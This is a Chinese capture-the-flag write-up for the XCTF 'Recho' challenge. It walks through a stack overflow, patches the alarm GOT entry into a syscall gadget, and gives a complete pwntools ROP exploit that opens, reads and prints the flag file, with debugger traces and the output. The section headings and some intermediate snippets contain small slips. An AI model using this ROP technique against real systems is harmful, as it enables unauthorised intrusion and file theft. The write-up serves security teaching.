checksec
hunter@hunter:~/PWN/XCTF/xctf_challenge$ checksec Recho
[*] '/home/hunter/PWN/XCTF/xctf_challenge/Recho'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
基本操作
IDA
int __cdecl main(int argc, const char **argv, const char **envp)
{
char nptr; // [rsp+0h] [rbp-40h]
char buf[40]; // [rsp+10h] [rbp-30h]
int v6; // [rsp+38h] [rbp-8h]
int v7; // [rsp+3Ch] [rbp-4h]
Init();
write(1, "Welcome to Recho server!\n", 0x19uLL);
while ( read(0, &nptr, 0x10uLL) > 0 )
{
v7 = atoi(&nptr);
if ( v7 <= 15 )
v7 = 16;
v6 = read(0, buf, v7);
buf[v6] = 0;
printf("%s", buf);
}
return 0;
}
init():
unsigned int Init()
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
return alarm(0x3Cu);
}
程序逻辑:
- 输入一定大小的数字
- 按输入的数字大小再次读入对应长度的字符串
- 显然这里存在溢出
- 输出字符串以此
- 循环
可利用字符串:
没有system,/bin/sh,后门,但是有个flag字符串LOAD:0000000000400238 0000001C C /lib64/ld-linux-x86-64.so.2 LOAD:00000000004003E9 0000000A C libc.so.6 LOAD:00000000004003F3 00000006 C stdin LOAD:00000000004003F9 00000007 C printf LOAD:0000000000400400 00000005 C read LOAD:0000000000400405 00000007 C stdout LOAD:000000000040040C 00000007 C stderr LOAD:0000000000400413 00000006 C alarm LOAD:0000000000400419 00000005 C atoi LOAD:000000000040041E 00000008 C setvbuf LOAD:0000000000400426 00000012 C __libc_start_main LOAD:0000000000400438 00000006 C write LOAD:000000000040043E 0000000F C __gmon_start__ LOAD:000000000040044D 0000000C C GLIBC_2.2.5 .rodata:00000000004008C4 0000001A C Welcome to Recho server!\n .eh_frame:0000000000400987 00000006 C ;*3$\" .data:0000000000601058 00000005 C flag
分析
- 栈溢出漏洞很明显,但是想利用它来控制程序流程得先想办法如何跳出while循环。
- read函数的返回值时其读入字节的数量(包括换行’\x0a’),所以这个东西很头疼。但是pwntools提供了一个shutdown功能,可以关闭输入流,也就是说不进行输入那么read的返回值自然就是0了
- 但是关闭之后就不能再打开了,就算你再次跳到start或者main。也无法再进行输入
- 所以我们的payload只能用一次,而且这一次还要能把flag获取
思路
- 注意到可利用字符串中包含flag,我们可以构造open函数打开flag文件
- 再用read函数从flag流中读取数据,最后用printf或者write函数输出
系统调用
所以现在得想办法进行函数无中生有,且无法利用libc文件。那么这就要用到函数的ROP链构造了,看看gadgets够不够还有关键的int 80h。
hunter@hunter:~/PWN/XCTF/xctf_challenge$ ROPgadget --binary Recho --only "pop|ret"
Gadgets information
============================================================
0x000000000040089c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040089e : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004008a0 : pop r14 ; pop r15 ; ret
0x00000000004008a2 : pop r15 ; ret
0x00000000004006fc : pop rax ; ret <=====
0x000000000040089b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040089f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400690 : pop rbp ; ret
0x00000000004008a3 : pop rdi ; ret <=====
0x00000000004006fe : pop rdx ; ret <=====
0x00000000004008a1 : pop rsi ; pop r15 ; ret <====
0x000000000040089d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004005b6 : ret
hunter@hunter:~/PWN/XCTF/xctf_challenge$ ROPgadget --binary Recho --only "int"Gadgets information
============================================================
Unique gadgets found: 0
还不错,存放系统调用号的rax,以及三个参数RDI,RSI,RDX都有对应的独立gadgets。但是关键的int 80h却没有,这就很烦~~
但是除了int 80h 咱们还有syscall,这个也是系统调用最后进行中断处理的指令和int 80h差不多。并且这个再系统调用中更为常见。比如,在本例我们随便深入一个函数:
0x7ffff7af4147 <__GI___libc_write+7>: mov eax,DWORD PTR [rax]
0x7ffff7af4149 <__GI___libc_write+9>: test eax,eax
=> 0x7ffff7af414b <__GI___libc_write+11>:
jne 0x7ffff7af4160 <__GI___libc_write+32>
0x7ffff7af414d <__GI___libc_write+13>: mov eax,0x1
0x7ffff7af4152 <__GI___libc_write+18>: syscall <============
0x7ffff7af4154 <__GI___libc_write+20>: cmp rax,0xfffffffffffff000
0x7ffff7af415a <__GI___libc_write+26>:
ja 0x7ffff7af41b0 <__GI___libc_write+112>
我们可以看到在libc中要调用write函数时,把write的系统调用号放入eax,然后执行syscll指令,就像int 80h一样。
但是如果成功利用了某个函数中的syscall那么程序也会继续执行下去可能会发生意料之外的结果,所以我们要选择作用不是很大的函数如这里有alarm。设置闹钟
alarm@plt
0x4005e0 <printf@plt>: jmp QWORD PTR [rip+0x200a3a] # 0x601020
0x4005e6 <printf@plt+6>: push 0x1
0x4005eb <printf@plt+11>: jmp 0x4005c0
=> 0x4005f0 <alarm@plt>: jmp QWORD PTR [rip+0x200a32] # 0x601028
| 0x4005f6 <alarm@plt+6>: push 0x2
| 0x4005fb <alarm@plt+11>: jmp 0x4005c0
| 0x400600 <read@plt>: jmp QWORD PTR [rip+0x200a2a] # 0x601030
| 0x400606 <read@plt+6>: push 0x3
|-> 0x4005f6 <alarm@plt+6>: push 0x2
0x4005fb <alarm@plt+11>: jmp 0x4005c0
0x400600 <read@plt>: jmp QWORD PTR [rip+0x200a2a] # 0x601030
0x400606 <read@plt+6>: push 0x3
JUMP is taken
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffddf8 --> 0x40078e (<Init+104>: nop)
0008| 0x7fffffffde00 --> 0x7fffffffde50 --> 0x400840 (<__libc_csu_init>: push r15)
0016| 0x7fffffffde08 --> 0x4007a3 (<main+18>: mov edx,0x19)
0024| 0x7fffffffde10 --> 0x1
0032| 0x7fffffffde18 --> 0x40088d (<__libc_csu_init+77>: add rbx,0x1)
0040| 0x7fffffffde20 --> 0x7ffff7de59a0 (<_dl_fini>: push rbp)
0048| 0x7fffffffde28 --> 0x0
0056| 0x7fffffffde30 --> 0x400840 (<__libc_csu_init>: push r15)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x00000000004005f0 in alarm@plt ()
gdb-peda$
发现其got表地址为0x601028,此时其got表中还没有alarm真正的地址
所以我们继续执行
=> 0x7ffff7ac8840 <alarm>: mov eax,0x25
0x7ffff7ac8845 <alarm+5>: syscall
0x7ffff7ac8847 <alarm+7>: cmp rax,0xfffffffffffff001
0x7ffff7ac884d <alarm+13>: jae 0x7ffff7ac8850 <alarm+16>
0x7ffff7ac884f <alarm+15>: ret
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffddf8 --> 0x40078e (<Init+104>: nop)
0008| 0x7fffffffde00 --> 0x7fffffffde50 --> 0x400840 (<__libc_csu_init>: push r15)
0016| 0x7fffffffde08 --> 0x4007a3 (<main+18>: mov edx,0x19)
0024| 0x7fffffffde10 --> 0x1
0032| 0x7fffffffde18 --> 0x40088d (<__libc_csu_init+77>: add rbx,0x1)
0040| 0x7fffffffde20 --> 0x7ffff7de59a0 (<_dl_fini>: push rbp)
0048| 0x7fffffffde28 --> 0x0
0056| 0x7fffffffde30 --> 0x400840 (<__libc_csu_init>: push r15)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
alarm () at ../sysdeps/unix/syscall-template.S:78
78 ../sysdeps/unix/syscall-template.S: 没有那个文件或目录.
gdb-peda$
我们执行王dl_resolve和dl_fixup后就来到了alarm函数真正的地址。可以看到在alarm偏移量为5的地方就是syscall。
我们可以利用gadgets来修改alarm的got表。这里理应放入0x7ffff7ac8840 我们可以让它+5,然后调用alarm函数i就是直接调用syscall,而且此函数副作用很小调用完后还能返回。所以就能被我们改造成一个syscall_ret的gadget
ROP艺术–修改alarm@got
因为要使got里面的真实地址+5所以看看有没有add_Retgadgets
hunter@hunter:~/PWN/XCTF/xctf_challenge$ ROPgadget --binary Recho --only "add|ret"
Gadgets information
============================================================
0x00000000004008af : add bl, dh ; ret
0x00000000004008ad : add byte ptr [rax], al ; add bl, dh ; ret
0x00000000004008ab : add byte ptr [rax], al ; add byte ptr [rax], al ; add bl, dh ; ret
0x00000000004008ac : add byte ptr [rax], al ; add byte ptr [rax], al ; ret
0x0000000000400830 : add byte ptr [rax], al ; add cl, cl ; ret
0x00000000004008ae : add byte ptr [rax], al ; ret
0x00000000004006f8 : add byte ptr [rcx], al ; ret <======
0x000000000040070d : add byte ptr [rdi], al ; ret <=======
0x0000000000400832 : add cl, cl ; ret
0x00000000004006f4 : add eax, 0x20098e ; add ebx, esi ; ret
0x000000000040070a : add eax, 0x70093eb ; ret
0x00000000004006f9 : add ebx, esi ; ret
0x00000000004005b3 : add esp, 8 ; ret
0x00000000004005b2 : add rsp, 8 ; ret
0x00000000004005b6 : ret
因为al可以用pop_rax_ret来控制,所以这里很多gadgets都是可以利用的,这里我选用add byte ptr [rdi], al ; ret
payload = p64(pop_rax_ret) + p64(5)
payload += p64(pop_rdi_ret) + p64(alarm_got)
payload += p64(add_rdi_al_ret) //这里[]是取rdi里面的东西作为地址,就是刚好对应取got地址里面的值(真实地址)与al进行add操作
这样我们就得到了syscall_ret这样一个伪gadget即alarm_plt(为啥不是alarm_got)
ROP艺术–函数无中生有
open无中生有~~
#构造fp = open('flag',READONLY) //open的返回值一般用fp取代
payload = p64(pop_rdi_ret) + p64(elf.search('flag').next())
payload += p64(pp_rsi_r15_ret) + p64(0) + p64(0) //0代表只读
payload += p64(pop_rax_ret) + p64(2) //open系统调用号为2
#syscall_ret
payload += p64(alarm_plt)
#构造read(fp,bss_stage,100)) //用bss段来保存获取的信息流,然后用打印函数打印即可
payload = p64(pop_rdi_ret) + p64(3) //0,1表示分别表示标准输入,标准输出,一般其他文件流从3开始或4或5,具体我们可以通过gdb调试修改
payload += p64(pp_rsi_r15_ret) + p64(bss_stage) + p64(0)
payload += p64(pop_rdx_ret) + p64(100)
payload += p64(read_plt)
#构造printf(bss_stage)
payload = p64(pop_rdi_ret) + p64(bss_stage)
payload += p64(printf_plt)
EXP
from pwn import*
context.log_level = 'debug'
#sh = process('./Recho')
sh = remote('220.249.52.133',47787)
elf = ELF('./Recho')
pop_rdi_ret = 0x00000000004008a3
pp_rsi_r15_ret = 0x00000000004008a1
pop_rdx_ret = 0x00000000004006fe
pop_rax_ret = 0x00000000004006fc
add_rdi_ret = 0x000000000040070d
bss_stage = elf.bss()+0x200
alarm_got = elf.got['alarm']
alarm_plt = elf.plt['alarm']
read_plt = elf.plt['read']
printf_plt = elf.plt['printf']
sh.recv()
sh.sendline('400') //保证能够把payload完整输入
payload = 'A'*0x38 //从IDA很容易看出溢出点
#change the GOT of alarm into syscall_addr
payload += p64(pop_rdi_ret) + p64(alarm_got)
payload += p64(pop_rax_ret) + p64(0x5)
payload += p64(add_rdi_ret)
#fd = open('flag',readonly)
payload += p64(pop_rdi_ret) + p64(elf.search('flag').next())
payload += p64(pp_rsi_r15_ret) + p64(0) + p64(0)
payload += p64(pop_rax_ret) + p64(2)
payload += p64(alarm_plt) #syscall_ret
#read(fd,bss_stage,100)
payload += p64(pop_rdi_ret) + p64(3)
payload += p64(pp_rsi_r15_ret) + p64(bss_stage) + p64(0)
payload += p64(pop_rdx_ret) + p64(100)
payload += p64(read_plt)
#using printf to print bss_stage
payload += p64(pop_rdi_ret) + p64(bss_stage)
payload += p64(printf_plt)
payload = payload.ljust(400,'\x00') //#这步也关键,尽量使字符串长,这样才能将我们的 payload 全部输进去,不然可能因为会有缓 存的问题导致覆盖不完整
sh.sendline(payload)
#gdb.attach(sh)
sh.shutdown() //送出payload后关闭输入流即可退出while循环ret到我们的rop链上
sh.interactive()
结果:
[*] Switching to interactive mode
[DEBUG] Received 0x2a bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000020 41 41 41 41 41 41 41 41 90 01 │AAAA│AAAA│··│
0000002a
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x90[DEBUG] Received 0x2d bytes:
'cyberpeace{98de696c1dba243594ce86109c32492f}\n'
cyberpeace{98de696c1dba243594ce86109c32492f}
[*] Closed connection to 220.249.52.133 port 47787
[*] Got EOF while reading in interactive
$
直接输出flag流
MASS
- 在不同的libc文件中各函数可能偏移量有所不同,但是函数的实现一般是一样的所以函数内部偏移一般不变,就像这里alarm函数的sys call位置
- 既然有了syscall为啥不构造system:因为没有现成的/bin/sh,所以必然要进行两次输入,第一次输入payload第二次输入/bin/sh,但是输入了payload后就进行shutdown了,关闭了输入流。
32位系统调用常用
%eax | Name | Source | %ebx | %ecx | %edx | %esx | %edi |
---|---|---|---|---|---|---|---|
1 | sys_exit | kernel/exit.c | int | - | - | - | - |
2 | sys_fork | arch/i386/kernel/process.c | struct pt_regs | - | - | - | - |
3 | sys_read | fs/read_write.c | unsigned int | char * size_t | - | - | |
4 | sys_write | fs/read_write.c | unsigned int | const char * size_t | - | - | |
5 | sys_open | fs/open.c | const char * | int | int | - | - |
11 | sys_execve | arch/i386/kernel/process.c | struct pt_regs | NULL | NULL | - | - |
64位系统调用常用
%rax | System call | %rdi | %rsi | %rdx | %r10 | %r8 | %r9 |
---|---|---|---|---|---|---|---|
0 | sys_read | unsigned int fd | char *buf | size_t count | |||
1 | sys_write | unsigned int fd | const char *buf | size_t count | |||
2 | sys_open | const char *filename | int flags | int mode | |||
59 | sys_execve | const char *filename | const char *const argv[] | const char *const envp[] | |||
60 | sys_exit int | error_code |
用alarm_got代替alarm_plt
一句话:调试是检验真理的唯一标准
在使用alarm_plt作为ret对象时:
0x4006f3 <__do_global_dtors_aux+19>:
mov BYTE PTR [rip+0x20098e],0x1 # 0x601088 <completed.6963>
0x4006fa <__do_global_dtors_aux+26>: repz ret
0x4006fc <__do_global_dtors_aux+28>: pop rax
=> 0x4006fd <__do_global_dtors_aux+29>: ret
0x4006fe <__do_global_dtors_aux+30>: pop rdx
0x4006ff <__do_global_dtors_aux+31>: ret
0x400700 <frame_dummy>: mov edi,0x600e18
0x400705 <frame_dummy+5>: cmp QWORD PTR [rdi],0x0
[------------------------------------stack-------------------------------------]
0000| 0x7ffee8e13628 --> 0x4005f0 (<alarm@plt>: )
0008| 0x7ffee8e13630 --> 0x4008a3 (<__libc_csu_init+99>: pop rdi)
0016| 0x7ffee8e13638 --> 0x3
0024| 0x7ffee8e13640 --> 0x4008a1 (<__libc_csu_init+97>: pop rsi)
0032| 0x7ffee8e13648 --> 0x601260 --> 0x0
0040| 0x7ffee8e13650 --> 0x0
0048| 0x7ffee8e13658 --> 0x4006fe (<__do_global_dtors_aux+30>: pop rdx)
0056| 0x7ffee8e13660 --> 0x64 ('d')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x00000000004006fd in __do_global_dtors_aux ()
gdb-peda$
ni
=> 0x4005f0 <alarm@plt>: jmp QWORD PTR [rip+0x200a32] # 0x601028
| 0x4005f6 <alarm@plt+6>: push 0x2
| 0x4005fb <alarm@plt+11>: jmp 0x4005c0
| 0x400600 <read@plt>: jmp QWORD PTR [rip+0x200a2a] # 0x601030
| 0x400606 <read@plt+6>: push 0x3
|-> 0x7f8b0f452845 <alarm+5>: syscall
0x7f8b0f452847 <alarm+7>: cmp rax,0xfffffffffffff001
0x7f8b0f45284d <alarm+13>: jae 0x7f8b0f452850 <alarm+16>
0x7f8b0f45284f <alarm+15>: ret
JUMP is taken
[------------------------------------stack-------------------------------------]
0000| 0x7ffee8e13630 --> 0x4008a3 (<__libc_csu_init+99>: pop rdi)
0008| 0x7ffee8e13638 --> 0x3
0016| 0x7ffee8e13640 --> 0x4008a1 (<__libc_csu_init+97>: pop rsi)
0024| 0x7ffee8e13648 --> 0x601260 --> 0x0
0032| 0x7ffee8e13650 --> 0x0
0040| 0x7ffee8e13658 --> 0x4006fe (<__do_global_dtors_aux+30>: pop rdx)
0048| 0x7ffee8e13660 --> 0x64 ('d')
0056| 0x7ffee8e13668 --> 0x400600 (<read@plt>: jmp QWORD PTR [rip+0x200a2a] # 0x601030)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x00000000004005f0 in alarm@plt ()
gdb-peda$
这里的plt使用了[],就可以取0x601030表地址上的值作为jmp目标
在使用alarm_plt作为ret对象时:
=> 0x4006fd <__do_global_dtors_aux+29>: ret
0x4006fe <__do_global_dtors_aux+30>: pop rdx
0x4006ff <__do_global_dtors_aux+31>: ret
0x400700 <frame_dummy>: mov edi,0x600e18
0x400705 <frame_dummy+5>: cmp QWORD PTR [rdi],0x0
[------------------------------------stack-------------------------------------]
0000| 0x7ffcc4e60548 --> 0x601028 --> 0x7fdc88808845 (<alarm+5>: syscall)
0008| 0x7ffcc4e60550 --> 0x4008a3 (<__libc_csu_init+99>: pop rdi)
0016| 0x7ffcc4e60558 --> 0x3
0024| 0x7ffcc4e60560 --> 0x4008a1 (<__libc_csu_init+97>: pop rsi)
0032| 0x7ffcc4e60568 --> 0x601260 --> 0x0
0040| 0x7ffcc4e60570 --> 0x0
0048| 0x7ffcc4e60578 --> 0x4006fe (<__do_global_dtors_aux+30>: pop rdx)
0056| 0x7ffcc4e60580 --> 0x64 ('d')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x00000000004006fd in __do_global_dtors_aux ()
gdb-peda$
ni
RDI: 0x601058 --> 0x67616c66 ('flag')
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7ffcc4e60550 --> 0x4008a3 (<__libc_csu_init+99>: pop rdi)
RIP: 0x601028 --> 0x7fdc88808845 (<alarm+5>: syscall)
R8 : 0x7fdc88d224c0 (0x00007fdc88d224c0)
R9 : 0x0
R10: 0x0
R11: 0x246
R12: 0x400630 (<_start>: xor ebp,ebp)
R13: 0x7ffcc4e605c0 --> 0x0
R14: 0x0
R15: 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
=> 0x601028: mov BYTE PTR [r8+0x7fdc88],r8b
0x60102f: add BYTE PTR [rax+0x40],dh
0x601032: or DWORD PTR [rax+0x7fdc],0xfffffff0
0x601039: push rdx
[------------------------------------stack-------------------------------------]
0000| 0x7ffcc4e60550 --> 0x4008a3 (<__libc_csu_init+99>: pop rdi)
0008| 0x7ffcc4e60558 --> 0x3
0016| 0x7ffcc4e60560 --> 0x4008a1 (<__libc_csu_init+97>: pop rsi)
0024| 0x7ffcc4e60568 --> 0x601260 --> 0x0
0032| 0x7ffcc4e60570 --> 0x0
0040| 0x7ffcc4e60578 --> 0x4006fe (<__do_global_dtors_aux+30>: pop rdx)
0048| 0x7ffcc4e60580 --> 0x64 ('d')
0056| 0x7ffcc4e60588 --> 0x400600 (<read@plt>: jmp QWORD PTR [rip+0x200a2a] # 0x601030)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000601028 in _GLOBAL_OFFSET_TABLE_ ()
这里就直接将got表地址当作ret目标,而不是地址上的值(真正的地址)
参考资料:https://adworld.xctf.org.cn/media/uploads/writeup/4b6e244402fe11ea9f5700163e004e93.pdf